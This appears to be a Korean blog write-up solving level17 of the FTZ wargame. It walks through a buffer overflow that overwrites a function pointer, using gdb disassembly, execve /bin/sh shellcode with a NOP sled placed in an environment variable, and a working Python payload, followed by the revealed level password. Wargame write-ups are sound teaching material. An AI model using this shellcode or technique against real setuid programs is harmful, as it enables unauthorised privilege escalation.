728x90
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
이번엔 쉘 코드를 환경 변수로 등록하여 call 함수 실행 시 쉘 코드를 호출하도록 해야겠다. 그러기 위해선 call 값에 쉘 코드의 주소값을 저장해야 한다. 그리고 앞의 문제들에선 설명하는 것을 깜빡했는데 fgets 함수가 48 bytes까지만 입력받기 때문에 retn 주소를 덮어 씌울 순 없다. 이 문제도 마찬가지로 ebp-56에 buf가 위치하기 때문에 48 bytes를 입력해서는 retn에 도달할 수 없다.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>: push ebp
0x080484a9 <main+1>: mov ebp,esp
0x080484ab <main+3>: sub esp,0x38
0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490 //call 주솟값 ebp-16
0x080484b5 <main+13>: sub esp,0x4
0x080484b8 <main+16>: push ds:0x804967c
0x080484be <main+22>: push 0x30
0x080484c0 <main+24>: lea eax,[ebp-56] //buf 주솟값 ebp-56
0x080484c3 <main+27>: push eax
0x080484c4 <main+28>: call 0x8048350 <fgets>
0x080484c9 <main+33>: add esp,0x10
0x080484cc <main+36>: sub esp,0x8
0x080484cf <main+39>: push 0xc1a
0x080484d4 <main+44>: push 0xc1a
0x080484d9 <main+49>: call 0x8048380 <setreuid>
0x080484de <main+54>: add esp,0x10
0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>: call eax
0x080484e6 <main+62>: leave
0x080484e7 <main+63>: ret
0x080484e8 <main+64>: nop
쉘 코드를 환경 변수로 등록하고 환경 변수의 주솟값을 알아낸다.
export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>
int main(){
printf("%p\n",getenv("sh"));
}
[level17@ftz tmp]$ gcc getenv.c -o getenv
[level17@ftz tmp]$ ./getenv
0xbffffe69
ebp-56부터 40 bytes를 A로 채우고 ebp-16(call 주소)부터 4 bytes를 0xbffffe69(쉘 코드 주소)로 채운다.
[level17@ftz tmp]$ (python -c 'print "A"*40+"\x69\xfe\xff\xbf"';cat)|../attackme
my-pass
TERM environment variable not set.
Level18 Password is "why did you do it".
명령어들이 이해가 안간다면 level11과 level12의 글을 참고하길 바란다. 같은 형식의 명령어를 계속 사용 중이다.
https://dbgdbg.tistory.com/entry/level11
https://dbgdbg.tistory.com/entry/level12
728x90